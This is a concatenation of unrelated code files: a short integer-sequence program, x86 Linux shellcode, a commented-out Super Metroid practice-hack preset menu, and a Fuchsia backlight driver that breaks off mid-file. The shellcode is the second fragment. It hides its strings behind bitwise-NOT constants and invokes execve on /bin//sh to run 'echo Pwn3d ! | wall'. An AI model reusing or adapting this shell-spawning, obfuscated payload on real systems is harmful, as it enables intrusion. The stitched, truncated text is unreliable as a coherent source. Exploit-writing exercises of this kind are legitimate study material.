; 0,2,3,5,5,7,8,10,9,11,12,14,14,16,17,19,17,19,20,22,22,24,25,27,26,28,29,31,31,33,34,36,33,35,36,38,38,40,41,43,42,44,45,47,47,49,50,52,50,52,53,55,55,57,58,60,59,61,62,64,64,66,67,69,65,67,68,70,70,72,73,75,74,76,77,79,79,81,82,84,82,84,85,87,87,89,90,92,91,93,94,96,96,98,99,101,98,100,101,103,103,105,106,108,107,109,110,112,112,114,115,117,115,117,118,120,120,122,123,125,124,126,127,129,129,131,132,134,129,131,132,134,134,136,137,139,138,140,141,143,143,145,146,148,146,148,149,151,151,153,154,156,155,157,158,160,160,162,163,165,162,164,165,167,167,169,170,172,171,173,174,176,176,178,179,181,179,181,182,184,184,186,187,189,188,190,191,193,193,195,196,198,194,196,197,199,199,201,202,204,203,205,206,208,208,210,211,213,211,213,214,216,216,218,219,221,220,222,223,225,225,227,228,230,227,229,230,232,232,234,235,237,236,238,239,241,241,243,244,246,244,246,247,249,249,251,252,254,253,255
mov $2,$0
mul $0,2
lpb $0
div $2,2
sub $0,$2
lpe
mov $1,$0
|
global _start
section .text
_start:
push 0xb ; push 11 onto stack
pop eax ; 11 is moved to eax reg , sys call number for execve
cltd ; sign-extends eax into edx:eax.
push edx ; push null on to stack
;objective is to push 0x6c6c6177 -->llaw onto stack, following changes is been done to achieve it
mov esi, 0x93939e88 ; mov 0x93939e88 to esi register
not esi ; not(0x93939e88) = 0x6c6c6177
mov dword [esp-4], esi ; the value 0x6c6c6177 is placed in [esp-4] location
sub esp, 4 ; 4 is substracted from esp to point to top of the stack.
push 0x207c2021 ; push 0x207c2021 --> | ! onto the stack
push 0x20206433;push 0x20206433 ---> d3 onto the stack
push 0x6e775020 ; push 0x6e775020 --> nwP onto the stack
push 0x6f686365 ; push 0x6f686365 ---> ohce onto the stack
mov esi, esp ; pointer to args is placed in esi reg
push edx ; push null onto stack
push word 0x632d ; push 0x632d --> c- onto stack
mov ecx, esp ; pointer to arg is moved to ecx reg
push edx ; push null onto stack
; below objective is to push 0x68732f2f --> hs// and 0x6e69622f --> nib/ onto stack,following manipulations has been done
mov ebx, 0x978CD0D0 ; move 0x978CD0D0 onto ebx reg
not ebx ; not(0x978CD0D0) = 0x68732f2f
mov dword [esp-4], ebx ; value 0x68732f2f --> hs// is placed in [esp-4]
mov ebx, 0x91969DD0 ; move 0x91969DD0 onto ebx register
not ebx ; not(0x91969DD0) = 0x6e69622f --> nib/
mov dword [esp-8], ebx ; value 0x6e69622f placed in [esp-8]
sub esp, 8 ; substract 8 from esp to point to top of the stack
mov ebx, esp ; pointer to arg is placed in ebx reg
push edx ; push null to stack
push esi ;pointer to args which is placed in esi reg is pushed on to stack
push ecx ;pointer to args which is placed in ecx reg is pushed on to stack
push ebx ; pointer to args which is placed in ebx reg is pushed on to stack
xchg ecx, esp ; esp pointing at top of the stack is placed in ecx reg
int 0x80 ; sys call invoked
|
; PresetsMenuRbo:
; dw #presets_goto_rbo_bombs
; dw #presets_goto_rbo_brinstar
; dw #presets_goto_rbo_norfair_first_visit
; dw #presets_goto_rbo_brinstar_cleanup
; dw #presets_goto_rbo_norfair_second_visit
; dw #presets_goto_rbo_lower_norfair
; dw #presets_goto_rbo_norfair_escape
; dw #presets_goto_rbo_maridia
; dw #presets_goto_rbo_wrecked_ship
; dw #presets_goto_rbo_kraidg4
; dw #presets_goto_rbo_tourian
; dw #$0000
; %cm_header("PRESETS FOR RBO")
; presets_goto_rbo_bombs:
; %cm_submenu("Bombs", #presets_submenu_rbo_bombs)
; presets_goto_rbo_brinstar:
; %cm_submenu("Brinstar", #presets_submenu_rbo_brinstar)
; presets_goto_rbo_norfair_first_visit:
; %cm_submenu("Norfair (First Visit)", #presets_submenu_rbo_norfair_first_visit)
; presets_goto_rbo_brinstar_cleanup:
; %cm_submenu("Brinstar Cleanup", #presets_submenu_rbo_brinstar_cleanup)
; presets_goto_rbo_norfair_second_visit:
; %cm_submenu("Norfair (Second Visit)", #presets_submenu_rbo_norfair_second_visit)
; presets_goto_rbo_lower_norfair:
; %cm_submenu("Lower Norfair", #presets_submenu_rbo_lower_norfair)
; presets_goto_rbo_norfair_escape:
; %cm_submenu("Norfair Escape", #presets_submenu_rbo_norfair_escape)
; presets_goto_rbo_maridia:
; %cm_submenu("Maridia", #presets_submenu_rbo_maridia)
; presets_goto_rbo_wrecked_ship:
; %cm_submenu("Wrecked Ship", #presets_submenu_rbo_wrecked_ship)
; presets_goto_rbo_kraidg4:
; %cm_submenu("Kraid-G4", #presets_submenu_rbo_kraidg4)
; presets_goto_rbo_tourian:
; %cm_submenu("Tourian", #presets_submenu_rbo_tourian)
; presets_submenu_rbo_bombs:
; dw #presets_rbo_bombs_ceres_elevator
; dw #presets_rbo_bombs_ceres_last_3_rooms
; dw #presets_rbo_bombs_ship
; dw #presets_rbo_bombs_parlor_down
; dw #presets_rbo_bombs_morph
; dw #presets_rbo_bombs_pit_room
; dw #presets_rbo_bombs_retro_etank
; dw #presets_rbo_bombs_climb
; dw #presets_rbo_bombs_parlor_up
; dw #presets_rbo_bombs_bomb_torizo
; dw #presets_rbo_bombs_alcatraz
; dw #presets_rbo_bombs_terminator
; dw #$0000
; %cm_header("BOMBS")
; presets_submenu_rbo_brinstar:
; dw #presets_rbo_brinstar_green_brinstar_elevator
; dw #presets_rbo_brinstar_early_supers_reserve
; dw #presets_rbo_brinstar_early_supers_collection
; dw #presets_rbo_brinstar_dachora_room
; dw #presets_rbo_brinstar_big_pink
; dw #presets_rbo_brinstar_green_hill_zone
; dw #presets_rbo_brinstar_red_tower_up
; dw #presets_rbo_brinstar_hellway
; dw #presets_rbo_brinstar_alpha_pbs
; dw #presets_rbo_brinstar_reverse_hellway
; dw #presets_rbo_brinstar_red_tower_moonfalls
; dw #presets_rbo_brinstar_spazer
; dw #$0000
; %cm_header("BRINSTAR")
; presets_submenu_rbo_norfair_first_visit:
; dw #presets_rbo_norfair_first_visit_norfair_elevator
; dw #presets_rbo_norfair_first_visit_high_jump
; dw #presets_rbo_norfair_first_visit_business_center_up
; dw #presets_rbo_norfair_first_visit_first_hell_run
; dw #presets_rbo_norfair_first_visit_bubble_mountain
; dw #presets_rbo_norfair_first_visit_bat_cave_speed_farm
; dw #presets_rbo_norfair_first_visit_leaving_speed_speed_farm_2
; dw #presets_rbo_norfair_first_visit_wave_escape
; dw #$0000
; %cm_header("NORFAIR (FIRST VISIT)")
; presets_submenu_rbo_brinstar_cleanup:
; dw #presets_rbo_brinstar_cleanup_alpha_spark
; dw #presets_rbo_brinstar_cleanup_red_tower_up_2
; dw #presets_rbo_brinstar_cleanup_green_brinstar_backdoor
; dw #presets_rbo_brinstar_cleanup_big_pink_cleanup_1
; dw #presets_rbo_brinstar_cleanup_spore_spawn_supers
; dw #presets_rbo_brinstar_cleanup_spore_spawn_supers_escape
; dw #presets_rbo_brinstar_cleanup_wave_gate_etank
; dw #presets_rbo_brinstar_cleanup_dachora_room_2
; dw #presets_rbo_brinstar_cleanup_green_shaft_down
; dw #presets_rbo_brinstar_cleanup_etecoon_supers
; dw #presets_rbo_brinstar_cleanup_etecoon_power_bombs_optional
; dw #presets_rbo_brinstar_cleanup_green_shaft_up
; dw #presets_rbo_brinstar_cleanup_reverse_terminator
; dw #presets_rbo_brinstar_cleanup_climb_supers_moonfall
; dw #presets_rbo_brinstar_cleanup_pit_room_shortcharge
; dw #presets_rbo_brinstar_cleanup_retro_brinstar_powerbombs
; dw #presets_rbo_brinstar_cleanup_ball_buster
; dw #$0000
; %cm_header("BRINSTAR CLEANUP")
; presets_submenu_rbo_norfair_second_visit:
; dw #presets_rbo_norfair_second_visit_ice_entry
; dw #presets_rbo_norfair_second_visit_ice_escape
; dw #presets_rbo_norfair_second_visit_ice_escape_2
; dw #presets_rbo_norfair_second_visit_croc_shaft_moonfall
; dw #presets_rbo_norfair_second_visit_croc_speedway
; dw #presets_rbo_norfair_second_visit_croc
; dw #presets_rbo_norfair_second_visit_grapple_shaft_down
; dw #presets_rbo_norfair_second_visit_grapple_escape
; dw #presets_rbo_norfair_second_visit_grapple_shaft_up
; dw #presets_rbo_norfair_second_visit_croc_revisit
; dw #presets_rbo_norfair_second_visit_lava_dive_grapple_room
; dw #presets_rbo_norfair_second_visit_lava_dive_entry_room
; dw #$0000
; %cm_header("NORFAIR (SECOND VISIT)")
; presets_submenu_rbo_lower_norfair:
; dw #presets_rbo_lower_norfair_entry_room
; dw #presets_rbo_lower_norfair_green_gate_glitch
; dw #presets_rbo_lower_norfair_golden_torizo
; dw #presets_rbo_lower_norfair_energy_refill_escape
; dw #presets_rbo_lower_norfair_fast_pillars
; dw #presets_rbo_lower_norfair_writg
; dw #presets_rbo_lower_norfair_amphitheater
; dw #presets_rbo_lower_norfair_firefleas_entry
; dw #presets_rbo_lower_norfair_kihunter_stairs_down
; dw #presets_rbo_lower_norfair_ninja_pirates
; dw #presets_rbo_lower_norfair_preridley
; dw #presets_rbo_lower_norfair_ridley
; dw #$0000
; %cm_header("LOWER NORFAIR")
; presets_submenu_rbo_norfair_escape:
; dw #presets_rbo_norfair_escape_ridley_etank
; dw #presets_rbo_norfair_escape_postridley
; dw #presets_rbo_norfair_escape_firefleas
; dw #presets_rbo_norfair_escape_firefleas_exit_spikesuit
; dw #presets_rbo_norfair_escape_3_musketeers
; dw #presets_rbo_norfair_escape_3_musketeers_exit
; dw #presets_rbo_norfair_escape_croc_gate_farm
; dw #presets_rbo_norfair_escape_business_center_up_2
; dw #$0000
; %cm_header("NORFAIR ESCAPE")
; presets_submenu_rbo_maridia:
; dw #presets_rbo_maridia_maridia_entry_spikesuit
; dw #presets_rbo_maridia_mt_everest
; dw #presets_rbo_maridia_aqueduct
; dw #presets_rbo_maridia_prebotwoon_ice_clip
; dw #presets_rbo_maridia_botwoon
; dw #presets_rbo_maridia_postbotwoon_shinespark
; dw #presets_rbo_maridia_colosseum
; dw #presets_rbo_maridia_draygon
; dw #presets_rbo_maridia_draygon_escape
; dw #presets_rbo_maridia_reverse_colosseum
; dw #presets_rbo_maridia_cac_alley
; dw #presets_rbo_maridia_plasma_spark_room
; dw #presets_rbo_maridia_kassiuz_room
; dw #presets_rbo_maridia_plasma_screw_attack_strat
; dw #presets_rbo_maridia_leaving_maridia
; dw #$0000
; %cm_header("MARIDIA")
; presets_submenu_rbo_wrecked_ship:
; dw #presets_rbo_wrecked_ship_forgotten_highway
; dw #presets_rbo_wrecked_ship_east_ocean
; dw #presets_rbo_wrecked_ship_wrecked_ship_backdoor_entry
; dw #presets_rbo_wrecked_ship_ws_shaft_down
; dw #presets_rbo_wrecked_ship_phantoon
; dw #presets_rbo_wrecked_ship_ws_shaft_up
; dw #presets_rbo_wrecked_ship_west_ocean
; dw #$0000
; %cm_header("WRECKED SHIP")
; presets_submenu_rbo_kraidg4:
; dw #presets_rbo_kraidg4_kihunters_room_down
; dw #presets_rbo_kraidg4_red_brinstar_elevator_down
; dw #presets_rbo_kraidg4_red_tower_moonfall_screw_attack
; dw #presets_rbo_kraidg4_kraid_entry
; dw #presets_rbo_kraidg4_kraid_hallway
; dw #presets_rbo_kraidg4_kraid
; dw #presets_rbo_kraidg4_kraid_hallway_exit
; dw #presets_rbo_kraidg4_kraid_escape
; dw #presets_rbo_kraidg4_red_tower_up_3
; dw #presets_rbo_kraidg4_kihunters_room_up
; dw #presets_rbo_kraidg4_ship_room
; dw #presets_rbo_kraidg4_terminator_2
; dw #presets_rbo_kraidg4_g4
; dw #$0000
; %cm_header("KRAID-G4")
; presets_submenu_rbo_tourian:
; dw #presets_rbo_tourian_metroids
; dw #presets_rbo_tourian_metroids_2
; dw #presets_rbo_tourian_metroids_3
; dw #presets_rbo_tourian_metroids_4
; dw #presets_rbo_tourian_baby_skip
; dw #presets_rbo_tourian_zeb_skip
; dw #presets_rbo_tourian_escape_room_3
; dw #presets_rbo_tourian_escape_parlor
; dw #$0000
; %cm_header("TOURIAN")
; ; Bombs
; presets_rbo_bombs_ceres_elevator:
; %cm_preset("Ceres Elevator", #preset_rbo_bombs_ceres_elevator)
; presets_rbo_bombs_ceres_last_3_rooms:
; %cm_preset("Ceres Last 3 rooms", #preset_rbo_bombs_ceres_last_3_rooms)
; presets_rbo_bombs_ship:
; %cm_preset("Ship", #preset_rbo_bombs_ship)
; presets_rbo_bombs_parlor_down:
; %cm_preset("Parlor Down", #preset_rbo_bombs_parlor_down)
; presets_rbo_bombs_morph:
; %cm_preset("Morph", #preset_rbo_bombs_morph)
; presets_rbo_bombs_pit_room:
; %cm_preset("Pit Room", #preset_rbo_bombs_pit_room)
; presets_rbo_bombs_retro_etank:
; %cm_preset("Retro E-Tank", #preset_rbo_bombs_retro_etank)
; presets_rbo_bombs_climb:
; %cm_preset("Climb", #preset_rbo_bombs_climb)
; presets_rbo_bombs_parlor_up:
; %cm_preset("Parlor Up", #preset_rbo_bombs_parlor_up)
; presets_rbo_bombs_bomb_torizo:
; %cm_preset("Bomb Torizo", #preset_rbo_bombs_bomb_torizo)
; presets_rbo_bombs_alcatraz:
; %cm_preset("Alcatraz", #preset_rbo_bombs_alcatraz)
; presets_rbo_bombs_terminator:
; %cm_preset("Terminator", #preset_rbo_bombs_terminator)
; ; Brinstar
; presets_rbo_brinstar_green_brinstar_elevator:
; %cm_preset("Green Brinstar Elevator", #preset_rbo_brinstar_green_brinstar_elevator)
; presets_rbo_brinstar_early_supers_reserve:
; %cm_preset("Early Supers Reserve", #preset_rbo_brinstar_early_supers_reserve)
; presets_rbo_brinstar_early_supers_collection:
; %cm_preset("Early Supers Collection", #preset_rbo_brinstar_early_supers_collection)
; presets_rbo_brinstar_dachora_room:
; %cm_preset("Dachora Room", #preset_rbo_brinstar_dachora_room)
; presets_rbo_brinstar_big_pink:
; %cm_preset("Big Pink", #preset_rbo_brinstar_big_pink)
; presets_rbo_brinstar_green_hill_zone:
; %cm_preset("Green Hill Zone", #preset_rbo_brinstar_green_hill_zone)
; presets_rbo_brinstar_red_tower_up:
; %cm_preset("Red Tower (Up)", #preset_rbo_brinstar_red_tower_up)
; presets_rbo_brinstar_hellway:
; %cm_preset("Hellway", #preset_rbo_brinstar_hellway)
; presets_rbo_brinstar_alpha_pbs:
; %cm_preset("Alpha PBs", #preset_rbo_brinstar_alpha_pbs)
; presets_rbo_brinstar_reverse_hellway:
; %cm_preset("Reverse Hellway", #preset_rbo_brinstar_reverse_hellway)
; presets_rbo_brinstar_red_tower_moonfalls:
; %cm_preset("Red Tower Moonfalls", #preset_rbo_brinstar_red_tower_moonfalls)
; presets_rbo_brinstar_spazer:
; %cm_preset("Spazer", #preset_rbo_brinstar_spazer)
; ; Norfair (First Visit)
; presets_rbo_norfair_first_visit_norfair_elevator:
; %cm_preset("Norfair Elevator", #preset_rbo_norfair_first_visit_norfair_elevator)
; presets_rbo_norfair_first_visit_high_jump:
; %cm_preset("High Jump", #preset_rbo_norfair_first_visit_high_jump)
; presets_rbo_norfair_first_visit_business_center_up:
; %cm_preset("Business Center (Up)", #preset_rbo_norfair_first_visit_business_center_up)
; presets_rbo_norfair_first_visit_first_hell_run:
; %cm_preset("First Hell Run", #preset_rbo_norfair_first_visit_first_hell_run)
; presets_rbo_norfair_first_visit_bubble_mountain:
; %cm_preset("Bubble Mountain", #preset_rbo_norfair_first_visit_bubble_mountain)
; presets_rbo_norfair_first_visit_bat_cave_speed_farm:
; %cm_preset("Bat Cave (Speed Farm)", #preset_rbo_norfair_first_visit_bat_cave_speed_farm)
; presets_rbo_norfair_first_visit_leaving_speed_speed_farm_2:
; %cm_preset("Leaving Speed (Speed Farm 2)", #preset_rbo_norfair_first_visit_leaving_speed_speed_farm_2)
; presets_rbo_norfair_first_visit_wave_escape:
; %cm_preset("Wave Escape", #preset_rbo_norfair_first_visit_wave_escape)
; ; Brinstar Cleanup
; presets_rbo_brinstar_cleanup_alpha_spark:
; %cm_preset("Alpha Spark", #preset_rbo_brinstar_cleanup_alpha_spark)
; presets_rbo_brinstar_cleanup_red_tower_up_2:
; %cm_preset("Red Tower (Up)", #preset_rbo_brinstar_cleanup_red_tower_up_2)
; presets_rbo_brinstar_cleanup_green_brinstar_backdoor:
; %cm_preset("Green Brinstar (Backdoor)", #preset_rbo_brinstar_cleanup_green_brinstar_backdoor)
; presets_rbo_brinstar_cleanup_big_pink_cleanup_1:
; %cm_preset("Big Pink (Cleanup 1)", #preset_rbo_brinstar_cleanup_big_pink_cleanup_1)
; presets_rbo_brinstar_cleanup_spore_spawn_supers:
; %cm_preset("Spore Spawn Supers", #preset_rbo_brinstar_cleanup_spore_spawn_supers)
; presets_rbo_brinstar_cleanup_spore_spawn_supers_escape:
; %cm_preset("Spore Spawn Supers (Escape)", #preset_rbo_brinstar_cleanup_spore_spawn_supers_escape)
; presets_rbo_brinstar_cleanup_wave_gate_etank:
; %cm_preset("Wave Gate E-Tank", #preset_rbo_brinstar_cleanup_wave_gate_etank)
; presets_rbo_brinstar_cleanup_dachora_room_2:
; %cm_preset("Dachora Room 2", #preset_rbo_brinstar_cleanup_dachora_room_2)
; presets_rbo_brinstar_cleanup_green_shaft_down:
; %cm_preset("Green Shaft (Down)", #preset_rbo_brinstar_cleanup_green_shaft_down)
; presets_rbo_brinstar_cleanup_etecoon_supers:
; %cm_preset("Etecoon Supers", #preset_rbo_brinstar_cleanup_etecoon_supers)
; presets_rbo_brinstar_cleanup_etecoon_power_bombs_optional:
; %cm_preset("Etecoon Power Bombs (Optional)", #preset_rbo_brinstar_cleanup_etecoon_power_bombs_optional)
; presets_rbo_brinstar_cleanup_green_shaft_up:
; %cm_preset("Green Shaft (Up)", #preset_rbo_brinstar_cleanup_green_shaft_up)
; presets_rbo_brinstar_cleanup_reverse_terminator:
; %cm_preset("Reverse Terminator", #preset_rbo_brinstar_cleanup_reverse_terminator)
; presets_rbo_brinstar_cleanup_climb_supers_moonfall:
; %cm_preset("Climb Supers Moonfall", #preset_rbo_brinstar_cleanup_climb_supers_moonfall)
; presets_rbo_brinstar_cleanup_pit_room_shortcharge:
; %cm_preset("Pit Room Shortcharge", #preset_rbo_brinstar_cleanup_pit_room_shortcharge)
; presets_rbo_brinstar_cleanup_retro_brinstar_powerbombs:
; %cm_preset("Retro Brinstar Powerbombs", #preset_rbo_brinstar_cleanup_retro_brinstar_powerbombs)
; presets_rbo_brinstar_cleanup_ball_buster:
; %cm_preset("Ball Buster", #preset_rbo_brinstar_cleanup_ball_buster)
; ; Norfair (Second Visit)
; presets_rbo_norfair_second_visit_ice_entry:
; %cm_preset("Ice Entry", #preset_rbo_norfair_second_visit_ice_entry)
; presets_rbo_norfair_second_visit_ice_escape:
; %cm_preset("Ice Escape", #preset_rbo_norfair_second_visit_ice_escape)
; presets_rbo_norfair_second_visit_ice_escape_2:
; %cm_preset("Ice Escape 2", #preset_rbo_norfair_second_visit_ice_escape_2)
; presets_rbo_norfair_second_visit_croc_shaft_moonfall:
; %cm_preset("Croc Shaft Moonfall", #preset_rbo_norfair_second_visit_croc_shaft_moonfall)
; presets_rbo_norfair_second_visit_croc_speedway:
; %cm_preset("Croc Speedway", #preset_rbo_norfair_second_visit_croc_speedway)
; presets_rbo_norfair_second_visit_croc:
; %cm_preset("Croc", #preset_rbo_norfair_second_visit_croc)
; presets_rbo_norfair_second_visit_grapple_shaft_down:
; %cm_preset("Grapple Shaft (Down)", #preset_rbo_norfair_second_visit_grapple_shaft_down)
; presets_rbo_norfair_second_visit_grapple_escape:
; %cm_preset("Grapple Escape", #preset_rbo_norfair_second_visit_grapple_escape)
; presets_rbo_norfair_second_visit_grapple_shaft_up:
; %cm_preset("Grapple Shaft (Up)", #preset_rbo_norfair_second_visit_grapple_shaft_up)
; presets_rbo_norfair_second_visit_croc_revisit:
; %cm_preset("Croc (Re-visit)", #preset_rbo_norfair_second_visit_croc_revisit)
; presets_rbo_norfair_second_visit_lava_dive_grapple_room:
; %cm_preset("Lava Dive (Grapple Room)", #preset_rbo_norfair_second_visit_lava_dive_grapple_room)
; presets_rbo_norfair_second_visit_lava_dive_entry_room:
; %cm_preset("Lava Dive (Entry Room)", #preset_rbo_norfair_second_visit_lava_dive_entry_room)
; ; Lower Norfair
; presets_rbo_lower_norfair_entry_room:
; %cm_preset("Entry Room", #preset_rbo_lower_norfair_entry_room)
; presets_rbo_lower_norfair_green_gate_glitch:
; %cm_preset("Green Gate Glitch", #preset_rbo_lower_norfair_green_gate_glitch)
; presets_rbo_lower_norfair_golden_torizo:
; %cm_preset("Golden Torizo", #preset_rbo_lower_norfair_golden_torizo)
; presets_rbo_lower_norfair_energy_refill_escape:
; %cm_preset("Energy Refill (Escape)", #preset_rbo_lower_norfair_energy_refill_escape)
; presets_rbo_lower_norfair_fast_pillars:
; %cm_preset("Fast Pillars", #preset_rbo_lower_norfair_fast_pillars)
; presets_rbo_lower_norfair_writg:
; %cm_preset("WRITG", #preset_rbo_lower_norfair_writg)
; presets_rbo_lower_norfair_amphitheater:
; %cm_preset("Amphitheater", #preset_rbo_lower_norfair_amphitheater)
; presets_rbo_lower_norfair_firefleas_entry:
; %cm_preset("Firefleas Entry", #preset_rbo_lower_norfair_firefleas_entry)
; presets_rbo_lower_norfair_kihunter_stairs_down:
; %cm_preset("Kihunter Stairs (Down)", #preset_rbo_lower_norfair_kihunter_stairs_down)
; presets_rbo_lower_norfair_ninja_pirates:
; %cm_preset("Ninja Pirates", #preset_rbo_lower_norfair_ninja_pirates)
; presets_rbo_lower_norfair_preridley:
; %cm_preset("Pre-Ridley", #preset_rbo_lower_norfair_preridley)
; presets_rbo_lower_norfair_ridley:
; %cm_preset("Ridley", #preset_rbo_lower_norfair_ridley)
; ; Norfair Escape
; presets_rbo_norfair_escape_ridley_etank:
; %cm_preset("Ridley E-Tank", #preset_rbo_norfair_escape_ridley_etank)
; presets_rbo_norfair_escape_postridley:
; %cm_preset("Post-Ridley", #preset_rbo_norfair_escape_postridley)
; presets_rbo_norfair_escape_firefleas:
; %cm_preset("Firefleas", #preset_rbo_norfair_escape_firefleas)
; presets_rbo_norfair_escape_firefleas_exit_spikesuit:
; %cm_preset("Firefleas Exit (Spikesuit)", #preset_rbo_norfair_escape_firefleas_exit_spikesuit)
; presets_rbo_norfair_escape_3_musketeers:
; %cm_preset("3 Musketeers", #preset_rbo_norfair_escape_3_musketeers)
; presets_rbo_norfair_escape_3_musketeers_exit:
; %cm_preset("3 Musketeers Exit", #preset_rbo_norfair_escape_3_musketeers_exit)
; presets_rbo_norfair_escape_croc_gate_farm:
; %cm_preset("Croc Gate Farm", #preset_rbo_norfair_escape_croc_gate_farm)
; presets_rbo_norfair_escape_business_center_up_2:
; %cm_preset("Business Center (Up)", #preset_rbo_norfair_escape_business_center_up_2)
; ; Maridia
; presets_rbo_maridia_maridia_entry_spikesuit:
; %cm_preset("Maridia Entry (Spikesuit)", #preset_rbo_maridia_maridia_entry_spikesuit)
; presets_rbo_maridia_mt_everest:
; %cm_preset("Mt. Everest", #preset_rbo_maridia_mt_everest)
; presets_rbo_maridia_aqueduct:
; %cm_preset("Aqueduct", #preset_rbo_maridia_aqueduct)
; presets_rbo_maridia_prebotwoon_ice_clip:
; %cm_preset("Pre-Botwoon (Ice Clip)", #preset_rbo_maridia_prebotwoon_ice_clip)
; presets_rbo_maridia_botwoon:
; %cm_preset("Botwoon", #preset_rbo_maridia_botwoon)
; presets_rbo_maridia_postbotwoon_shinespark:
; %cm_preset("Post-Botwoon (Shinespark)", #preset_rbo_maridia_postbotwoon_shinespark)
; presets_rbo_maridia_colosseum:
; %cm_preset("Colosseum", #preset_rbo_maridia_colosseum)
; presets_rbo_maridia_draygon:
; %cm_preset("Draygon", #preset_rbo_maridia_draygon)
; presets_rbo_maridia_draygon_escape:
; %cm_preset("Draygon Escape", #preset_rbo_maridia_draygon_escape)
; presets_rbo_maridia_reverse_colosseum:
; %cm_preset("Reverse Colosseum", #preset_rbo_maridia_reverse_colosseum)
; presets_rbo_maridia_cac_alley:
; %cm_preset("Cac Alley", #preset_rbo_maridia_cac_alley)
; presets_rbo_maridia_plasma_spark_room:
; %cm_preset("Plasma Spark Room", #preset_rbo_maridia_plasma_spark_room)
; presets_rbo_maridia_kassiuz_room:
; %cm_preset("Kassiuz Room", #preset_rbo_maridia_kassiuz_room)
; presets_rbo_maridia_plasma_screw_attack_strat:
; %cm_preset("Plasma (Screw Attack Strat)", #preset_rbo_maridia_plasma_screw_attack_strat)
; presets_rbo_maridia_leaving_maridia:
; %cm_preset("Leaving Maridia", #preset_rbo_maridia_leaving_maridia)
; ; Wrecked Ship
; presets_rbo_wrecked_ship_forgotten_highway:
; %cm_preset("Forgotten Highway", #preset_rbo_wrecked_ship_forgotten_highway)
; presets_rbo_wrecked_ship_east_ocean:
; %cm_preset("East Ocean", #preset_rbo_wrecked_ship_east_ocean)
; presets_rbo_wrecked_ship_wrecked_ship_backdoor_entry:
; %cm_preset("Wrecked Ship Backdoor Entry", #preset_rbo_wrecked_ship_wrecked_ship_backdoor_entry)
; presets_rbo_wrecked_ship_ws_shaft_down:
; %cm_preset("WS Shaft (Down)", #preset_rbo_wrecked_ship_ws_shaft_down)
; presets_rbo_wrecked_ship_phantoon:
; %cm_preset("Phantoon", #preset_rbo_wrecked_ship_phantoon)
; presets_rbo_wrecked_ship_ws_shaft_up:
; %cm_preset("WS Shaft (Up)", #preset_rbo_wrecked_ship_ws_shaft_up)
; presets_rbo_wrecked_ship_west_ocean:
; %cm_preset("West Ocean", #preset_rbo_wrecked_ship_west_ocean)
; ; Kraid-G4
; presets_rbo_kraidg4_kihunters_room_down:
; %cm_preset("Kihunters Room (Down)", #preset_rbo_kraidg4_kihunters_room_down)
; presets_rbo_kraidg4_red_brinstar_elevator_down:
; %cm_preset("Red Brinstar Elevator (Down)", #preset_rbo_kraidg4_red_brinstar_elevator_down)
; presets_rbo_kraidg4_red_tower_moonfall_screw_attack:
; %cm_preset("Red Tower Moonfall (Screw Attack)", #preset_rbo_kraidg4_red_tower_moonfall_screw_attack)
; presets_rbo_kraidg4_kraid_entry:
; %cm_preset("Kraid Entry", #preset_rbo_kraidg4_kraid_entry)
; presets_rbo_kraidg4_kraid_hallway:
; %cm_preset("Kraid Hallway", #preset_rbo_kraidg4_kraid_hallway)
; presets_rbo_kraidg4_kraid:
; %cm_preset("Kraid", #preset_rbo_kraidg4_kraid)
; presets_rbo_kraidg4_kraid_hallway_exit:
; %cm_preset("Kraid Hallway (Exit)", #preset_rbo_kraidg4_kraid_hallway_exit)
; presets_rbo_kraidg4_kraid_escape:
; %cm_preset("Kraid Escape", #preset_rbo_kraidg4_kraid_escape)
; presets_rbo_kraidg4_red_tower_up_3:
; %cm_preset("Red Tower (Up)", #preset_rbo_kraidg4_red_tower_up_3)
; presets_rbo_kraidg4_kihunters_room_up:
; %cm_preset("Kihunters Room (Up)", #preset_rbo_kraidg4_kihunters_room_up)
; presets_rbo_kraidg4_ship_room:
; %cm_preset("Ship Room", #preset_rbo_kraidg4_ship_room)
; presets_rbo_kraidg4_terminator_2:
; %cm_preset("Terminator", #preset_rbo_kraidg4_terminator_2)
; presets_rbo_kraidg4_g4:
; %cm_preset("G4", #preset_rbo_kraidg4_g4)
; ; Tourian
; presets_rbo_tourian_metroids:
; %cm_preset("Metroids", #preset_rbo_tourian_metroids)
; presets_rbo_tourian_metroids_2:
; %cm_preset("Metroids 2", #preset_rbo_tourian_metroids_2)
; presets_rbo_tourian_metroids_3:
; %cm_preset("Metroids 3", #preset_rbo_tourian_metroids_3)
; presets_rbo_tourian_metroids_4:
; %cm_preset("Metroids 4", #preset_rbo_tourian_metroids_4)
; presets_rbo_tourian_baby_skip:
; %cm_preset("Baby Skip", #preset_rbo_tourian_baby_skip)
; presets_rbo_tourian_zeb_skip:
; %cm_preset("Zeb Skip", #preset_rbo_tourian_zeb_skip)
; presets_rbo_tourian_escape_room_3:
; %cm_preset("Escape Room 3", #preset_rbo_tourian_escape_room_3)
; presets_rbo_tourian_escape_parlor:
; %cm_preset("Escape Parlor", #preset_rbo_tourian_escape_parlor)
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <zircon/compiler.h>
#include <ddk/binding.h>
#include <ddk/debug.h>
#include <ddk/device.h>
#include <ddk/metadata.h>
#include <ddk/platform-defs.h>
#include "sherlock.h"
namespace sherlock {
constexpr pbus_mmio_t backlight_mmios[] = {
{
.base = T931_GPIO_A0_BASE,
.length = T931_GPIO_AO_LENGTH,
},
};
constexpr zx_bind_inst_t root_match[] = {
BI_MATCH(),
};
constexpr zx_bind_inst_t i2c_match[] = {
BI_ABORT_IF(NE, BIND_PROTOCOL, ZX_PROTOCOL_I2C),
BI_ABORT_IF(NE, BIND_I2C_BUS_ID, SHERLOCK_I2C_3),
BI_MATCH_IF(EQ, BIND_I2C_ADDRESS, 0x2C),
};
constexpr device_component_part_t i2c_component[] = {
{countof(root_match), root_match},
{countof(i2c_match), i2c_match},
};
constexpr device_component_t components[] = {
{countof(i2c_component), i2c_component},
};
constexpr double kMaxBrightnessInNits = 350.0;
constexpr pbus_metadata_t backlight_metadata[] = {
{
.type = DEVICE_METADATA_BACKLIGHT_MAX_BRIGHTNESS_NITS,
.data_buffer = &kMaxBrightnessInNits,
.data_size = sizeof(kMaxBrightnessInNits),
},
};
constexpr pbus_dev_t backlight_dev = []() {
pbus_dev_t dev = {};
dev.name = "backlight";
dev.vid = PDEV_VID_TI;
dev.pid = PDEV_PID_TI_LP8556;
dev.did = PDEV_DID_TI_BACKLIGHT;
dev.metadata_list = backlight_metadata;
dev.metadata_count = countof(backlight_metadata);
dev.mmio_list = backlight_mmios;
dev.mmio_count = countof(backlight_mmios);
return dev;
}();
